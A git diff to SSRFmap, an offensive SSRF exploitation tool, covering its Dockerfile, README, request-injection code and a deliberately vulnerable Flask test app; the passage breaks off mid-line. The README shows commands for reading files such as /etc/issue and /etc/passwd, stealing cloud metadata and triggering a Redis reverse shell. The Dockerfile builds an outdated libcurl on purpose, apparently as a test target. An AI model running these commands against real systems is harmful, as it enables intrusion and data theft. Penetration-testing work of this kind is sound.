diff --git a/.gitignore b/.gitignore index c2bd74f..cd42f13 100644 --- a/.gitignore +++ b/.gitignore @@ -104,3 +104,6 @@ venv.bak/ # mypy .mypy_cache/ + +# artifacts +127.0.0.1_5000/ diff --git a/Dockerfile b/Dockerfile index 9803164..126e642 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,9 +1,20 @@ -FROM python:3-alpine3.10 +FROM python:3.12.4-alpine -WORKDIR /opt +WORKDIR /usr/src/app +COPY . /usr/src/app -RUN apk update && apk add git -RUN git clone https://github.com/swisskyrepo/SSRFmap.git -RUN cd /opt/SSRFmap && pip install -r requirements.txt +RUN apk update -ENTRYPOINT ["python3","/opt/SSRFmap/ssrfmap.py"] +# Install curl with outdated libcurl +RUN apk add --update build-base cmake c-ares-dev +RUN cp examples/curl-7.71.0.tar.gz /tmp +RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/ +RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install + +# Install requirements +RUN pip install -r requirements.txt + +# Downgrade privileges +USER 1000 + +ENTRYPOINT ["python3"] \ No newline at end of file diff --git a/README.md b/README.md index 8196796..a18c658 100644 --- a/README.md +++ b/README.md @@ -19,63 +19,72 @@ SSRF are often used to leverage actions on other services, this framework aims t The following modules are already implemented and can be used with the `-m` argument. -| Name | Description | -| :------------- | :------------- | -| `fastcgi` | FastCGI RCE | -| `redis` | Redis RCE | -| `github` | Github Enterprise RCE < 2.8.7 | -| `zabbix` | Zabbix RCE | -| `mysql` | MySQL Command execution | -| `postgres` | Postgres Command execution | -| `docker` | Docker Infoleaks via API | -| `smtp` | SMTP send mail | -| `portscan` | Scan top 8000 ports for the host | -| `networkscan` | HTTP Ping sweep over the network | -| `readfiles` | Read files such as `/etc/passwd` | +| Name | Description | +| :------------- | :------------------------------------------------------- | +| `axfr` | DNS zone transfers (AXFR) | +| `fastcgi` | FastCGI RCE | +| `redis` | Redis RCE | +| `github` | Github Enterprise RCE < 2.8.7 | +| `zabbix` | Zabbix RCE | +| `mysql` | MySQL Command execution | +| `postgres` | Postgres Command execution | +| `docker` | Docker Infoleaks via API | +| `smtp` | SMTP send mail | +| `portscan` | Scan top 8000 ports for the host | +| `networkscan` | HTTP Ping sweep over the network | +| `readfiles` | Read files such as `/etc/passwd` | | `alibaba` | Read files from the provider (e.g: meta-data, user-data) | | `aws` | Read files from the provider (e.g: meta-data, user-data) | | `gce` | Read files from the provider (e.g: meta-data, user-data) | | `digitalocean` | Read files from the provider (e.g: meta-data, user-data) | -| `socksproxy` | SOCKS4 Proxy | -| `smbhash` | Force an SMB authentication via a UNC Path | -| `tomcat` | Bruteforce attack against Tomcat Manager | -| `custom` | Send custom data to a listening service, e.g: netcat | -| `memcache` | Store data inside the memcache instance | +| `socksproxy` | SOCKS4 Proxy | +| `smbhash` | Force an SMB authentication via a UNC Path | +| `tomcat` | Bruteforce attack against Tomcat Manager | +| `custom` | Send custom data to a listening service, e.g: netcat | +| `memcache` | Store data inside the memcache instance | ## Install and Manual -Basic install from the Github repository. +* From the Github repository. + ```powershell + $ git clone https://github.com/swisskyrepo/SSRFmap + $ cd SSRFmap/ + $ pip3 install -r requirements.txt + $ python3 ssrfmap.py -```powershell -$ git clone https://github.com/swisskyrepo/SSRFmap -$ cd SSRFmap/ -$ pip3 install -r requirements.txt -$ python3 ssrfmap.py + usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] + [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] + [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] - usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] - [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] - [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] + optional arguments: + -h, --help show this help message and exit + -r REQFILE SSRF Request file + -p PARAM SSRF Parameter to target + -m MODULES SSRF Modules to enable + -l HANDLER Start an handler for a reverse shell + -v [VERBOSE] Enable verbosity + --lhost LHOST LHOST reverse shell or IP to target in the network + --lport LPORT LPORT reverse shell or port to target in the network + --uagent USERAGENT User Agent to use + --ssl [SSL] Use HTTPS without verification + --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) + --level [LEVEL] Level of test to perform (1-5, default: 1) + ``` + +* Docker + ```powershell + $ git clone https://github.com/swisskyrepo/SSRFmap + $ docker build --no-cache -t ssrfmap . + $ docker run -it ssrfmap ssrfmap.py [OPTIONS] + $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py + ``` - optional arguments: - -h, --help show this help message and exit - -r REQFILE SSRF Request file - -p PARAM SSRF Parameter to target - -m MODULES SSRF Modules to enable - -l HANDLER Start an handler for a reverse shell - -v [VERBOSE] Enable verbosity - --lhost LHOST LHOST reverse shell - --lport LPORT LPORT reverse shell - --uagent USERAGENT User Agent to use - --ssl [SSL] Use HTTPS without verification - --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) - --level [LEVEL] Level of test to perform (1-5, default: 1) -``` ## Examples First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. -They should look like the following. More examples are available in the **/data** folder. +They should look like the following. More examples are available in the **./examples** folder. ```powershell POST /ssrf HTTP/1.1 @@ -97,21 +106,27 @@ Use the `-m` followed by module name (separated by a `,` if you want to launch s ```powershell # Launch a portscan on localhost and read default files -python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan +python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan +``` + +If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name + +```powershell +python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test ``` If you need to have a custom user-agent use the `--uagent`. Some targets will use HTTPS, you can enable it with `--ssl`. ```powershell # Launch a portscan against an HTTPS endpoint using a custom user-agent -python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" +python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" ``` -Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell. +Some modules allow you to create a connect back, you have to specify `LHOST` and `LPORT`. Also SSRFmap can listen for the incoming reverse shell. ```powershell # Triggering a reverse shell on a Redis -python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 +python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 # -l create a listener for reverse shell on the specified port # --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload @@ -127,11 +142,40 @@ When the target is protected by a WAF or some filters you can try a wide range o A quick way to test the framework can be done with `data/example.py` SSRF service. -```powershell -FLASK_APP=data/example.py flask run & -python ssrfmap.py -r data/request.txt -p url -m readfiles +* Local + ```powershell + FLASK_APP=examples/example.py flask run & + python ssrfmap.py -r examples/request.txt -p url -m readfiles + ``` + +* Docker + ```ps1 + docker build --no-cache -t ssrfmap . + + # run example ssrf http service + docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py + + # run example ssrf dns service + docker exec -u root:root -it example python examples/ssrf_dns.py + + # run ssrfmap tool + docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles + ``` + +Launch the tests requests: + +```ps1 +docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr +docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab ``` + ## Contribute I :heart: pull requests :) @@ -189,7 +233,12 @@ You can also contribute with a beer IRL or via Github Sponsor button. ### Thanks to the contributors -- [ttffdd](https://github.com/ttffdd) +

+ + + +

+ ## Inspired by diff --git a/core/requester.py b/core/requester.py index a9207ee..971e777 100644 --- a/core/requester.py +++ b/core/requester.py @@ -29,6 +29,9 @@ class Requester(object): # Parse headers for header in content[1:]: + if header == '': + # edge-case, when data is sent raw (json/xml) + break name, _, value = header.partition(': ') if not name or not value: continue @@ -75,7 +78,21 @@ class Requester(object): def do_request(self, param, value, timeout=3, stream=False): try: + # Debug information + logging.debug(f"Request param: {param}") + logging.debug(f"Request value: {value}") + logging.debug(f"Request timeout: {timeout}") + + # Handle injection in the headers + # Copying data to avoid multiple variables edit + header_injected = self.headers.copy() + if param in header_injected: + header_injected[param] = value + logging.debug("Request inject: Injecting payload in HTTP Header") + + logging.debug(f"Request method: {self.method}") if self.method == "POST": + # Copying data to avoid multiple variables edit data_injected = self.data.copy() @@ -84,40 +101,35 @@ class Requester(object): # Handle JSON data if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']: + logging.debug("Request type: JSON") + logging.debug(f"Request data: {data_injected}") + r = requests.post( self.protocol + "://" + self.host + self.action, - headers=self.headers, - json=data_injected, + data=json.dumps(data_injected), + headers=self.headers, timeout=timeout, stream=stream, verify=False, proxies=self.proxies ) - # Handle FORM data - else: - if param == '': data_injected = value - r = requests.post( - self.protocol + "://" + self.host + self.action, - headers=self.headers, - data=data_injected, - timeout=timeout, - stream=stream, - verify=False, - proxies=self.proxies - ) - else: - if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: + # Handle XML data + elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: + logging.debug("Request type: XML") + if "*FUZZ*" in data_injected['__xml__']: + logging.debug("Request inject: XML parameter") # replace the injection point with the payload data_xml = data_injected['__xml__'] data_xml = data_xml.replace('*FUZZ*', value) + logging.debug(f"Request data: {data_xml}") r = requests.post( - self.protocol + "://" + self.host + self.action, - headers=self.headers, + self.protocol + "://" + self.host + self.action, data=data_xml, + headers=self.headers, timeout=timeout, stream=stream, verify=False, @@ -127,17 +139,38 @@ class Requester(object): else: logging.error("No injection point found ! (use -p)") exit(1) + + # Handle FORM data else: - logging.error("No injection point found ! (use -p)") - exit(1) + if param == '': + logging.debug("Request inject: POST raw data") + data_injected = value + else: + logging.debug("Request inject: POST parameter") + + r = requests.post( + self.protocol + "://" + self.host + self.action, + headers=header_injected, + data=data_injected, + timeout=timeout, + stream=stream, + verify=False, + proxies=self.proxies + ) + + else: + logging.error("No injection point found ! (use -p)") + exit(1) else: + logging.debug("Request inject: GET parameter") + # String is immutable, we don't have to do a "forced" copy regex = re.compile(param+"=([^&]+)") value = urllib.parse.quote(value, safe='') data_injected = re.sub(regex, param+'='+value, self.action) r = requests.get( self.protocol + "://" + self.host + data_injected, - headers=self.headers, + headers=header_injected, timeout=timeout, stream=stream, verify=False, diff --git a/examples/curl-7.71.0.tar.gz b/examples/curl-7.71.0.tar.gz new file mode 100644 index 0000000..4612432 Binary files /dev/null and b/examples/curl-7.71.0.tar.gz differ diff --git a/data/example.py b/examples/example.py similarity index 74% rename from data/example.py rename to examples/example.py index ddacbba..0137194 100644 --- a/data/example.py +++ b/examples/example.py @@ -1,11 +1,11 @@ -# NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE) -# NOTE: this file should become a simple ssrf example in order to test SSRFmap +# NOTE: Do not try this at home - highly vulnerable ! (SSRF and RCE) +# NOTE: SSRF examples script # FLASK_APP=example.py flask run -from flask import Flask, abort, request -import json +from flask import Flask, request import re import subprocess +import urllib.parse app = Flask(__name__) @@ -40,14 +40,24 @@ def ssrf3(): @app.route("/ssrf4", methods=['POST']) def ssrf4(): data = request.data - print(data.decode()) regex = re.compile("url>(.*?)